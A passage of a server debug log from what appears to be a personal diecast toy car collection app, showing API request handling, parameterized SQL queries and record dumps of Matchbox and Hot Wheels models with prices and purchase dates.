      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 69,
      model_name: '22 Ford F 150 Lightning',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 59,
      model_name: 'Blaze bluster II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-09T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 58,
      model_name: 'Jeep Avenger 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-01T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T06:48:09.984Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T06:48:09.985Z server-connect:app Executing action step identify
2026-02-04T06:48:09.985Z server-connect:app options: { provider: 'security' }
2026-02-04T06:48:09.985Z server-connect:output identity: 1
2026-02-04T06:48:09.985Z server-connect:app Executing action step restrict
2026-02-04T06:48:09.985Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:48:09.986Z server-connect:output restrict: undefined
2026-02-04T06:48:09.986Z server-connect:app Executing action step condition
2026-02-04T06:48:09.986Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T06:48:09.986Z server-connect:app Executing action step update
2026-02-04T06:48:09.986Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T06:48:09.987Z server-connect:output update: { affected: 1 }
2026-02-04T06:48:09.987Z server-connect:app Executing action step upload
2026-02-04T06:48:09.987Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T06:48:09.987Z server-connect:output upload_image: []
2026-02-04T06:48:09.987Z server-connect:app Executing action step repeat
2026-02-04T06:48:09.987Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T06:48:09.987Z server-connect:output repeat_images: []
2026-02-04T06:48:09.987Z server-connect:output condition: undefined
2026-02-04T06:48:10.236Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T06:48:10.236Z server-connect:app Executing action step identify
2026-02-04T06:48:10.236Z server-connect:app options: { provider: 'security' }
2026-02-04T06:48:10.236Z server-connect:output identity: 1
2026-02-04T06:48:10.237Z server-connect:app Executing action step restrict
2026-02-04T06:48:10.237Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:48:10.237Z server-connect:output restrict: undefined
2026-02-04T06:48:10.237Z server-connect:app Executing action step paged
2026-02-04T06:48:10.237Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T06:48:10.240Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 26,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 85,
      model_name: 'Masserti Grandturismo Folgore',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-28T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 83,
      model_name: 'Nissan Arya Pole to Pole 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-07T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 82,
      model_name: ' MBX Turf Hauler II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'MBX',
      vehicle_brand_id: 155,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 81,
      model_name: ' Dodge Durango 2018',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 80,
      model_name: 'Polaris RZR Pro R 4 Sport 2025',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Polaris ',
      vehicle_brand_id: 154,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 79,
      model_name: 'Subaru J WRX S4 STI 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-15T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Subaru',
      vehicle_brand_id: 153,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 78,
      model_name: 'Ford E Transit 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 77,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 76,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 75,
      model_name: 'Volva 1986 240 Sedan',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 72,
      model_name: 'Alfa Romeo Duetto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-22T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 71,
      model_name: '1966 Land Rover Gen 11 Safari',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 70,
      model_name: '1963 Ford Thunderbird',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 69,
      model_name: '22 Ford F 150 Lightning',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 59,
      model_name: 'Blaze bluster II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-09T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 58,
      model_name: 'Jeep Avenger 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-01T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 57,
      model_name: 'Audi E Tron EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-01T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T06:48:14.563Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T06:48:14.564Z server-connect:app Executing action step identify
2026-02-04T06:48:14.564Z server-connect:app options: { provider: 'security' }
2026-02-04T06:48:14.564Z server-connect:output identity: 1
2026-02-04T06:48:14.564Z server-connect:app Executing action step restrict
2026-02-04T06:48:14.564Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:48:14.565Z server-connect:output restrict: undefined
2026-02-04T06:48:14.565Z server-connect:app Executing action step paged
2026-02-04T06:48:14.565Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T06:48:14.568Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 142,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 125 },
    current: 1,
    total: 6
  },
  data: [
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 150,
      model_name: 'Dodge Charge',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-15T18:30:00.000Z',
      price: '199.00',
      brand: 'Jams Toys',
      series: 'Mainline',
      brand_id: 191,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 149,
      model_name: "Fish'd & Chip'd",
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Spider Man',
      vehicle_brand_id: 183,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 148,
      model_name: '92 Jeep Wrangler Sahara',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-22T18:30:00.000Z',
      price: '545.00',
      brand: 'Hotwheels',
      series: 'HW Pop Culture',
      brand_id: 71,
      series_id: 181,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 147,
      model_name: 'Nissan Fairlady Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Pantone',
      brand_id: 71,
      series_id: 180,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 146,
      model_name: 'Lucid Air',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'D',
      vehicle_brand_name: 'Lucid',
      vehicle_brand_id: 184,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 145,
      model_name: 'Lotus Cortina',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Euro',
      brand_id: 71,
      series_id: 179,
      case: 'D',
      vehicle_brand_name: 'Lotus',
      vehicle_brand_id: 185,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 144,
      model_name: 'Datsun 240Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'C',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 143,
      model_name: 'Pixel Shaker',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Ride-Ons',
      brand_id: 71,
      series_id: 178,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 142,
      model_name: 'Nissan 350Z Custom',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 141,
      model_name: 'Nissan Silvia (S15)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T06:48:19.235Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T06:48:19.235Z server-connect:app Executing action step identify
2026-02-04T06:48:19.235Z server-connect:app options: { provider: 'security' }
2026-02-04T06:48:19.236Z server-connect:output identity: 1
2026-02-04T06:48:19.236Z server-connect:app Executing action step restrict
2026-02-04T06:48:19.236Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:48:19.236Z server-connect:output restrict: undefined
